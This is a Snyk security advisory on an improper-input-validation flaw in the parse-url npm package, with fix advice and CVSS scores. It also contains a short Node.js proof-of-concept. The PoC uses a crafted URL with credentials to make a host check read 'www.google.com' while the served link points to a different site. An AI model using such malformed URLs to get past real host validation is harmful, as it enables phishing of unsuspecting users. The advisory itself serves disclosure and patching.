Improper Input Validation Affecting parse-url package, versions <8.1.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.07% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-PARSEURL-3024398
  • published 15 Sep 2022
  • disclosed 15 Sep 2022
  • credit Automne

How to fix?

Upgrade parse-url to version 8.1.0 or higher.

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.


const parseUrl = require("parse-url");
const Url = require("url");

const express = require('express'); const app = express();

var url = "https://www.google.com:x@fakesite.com:x"; parsed = parseUrl(url); console.log("[*]parse-url output: ") console.log(parsed);

parsed2 = Url.parse(url); console.log("[*]url output: ") console.log(parsed2)

app.get('/', (req, res) => { if (parsed.host == "www.google.com") { res.send("<a href=&#39;" + parsed2.href + "&#39;>CLICK ME!</a>") } })

app.listen(8888,"0.0.0.0");

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

6.1 medium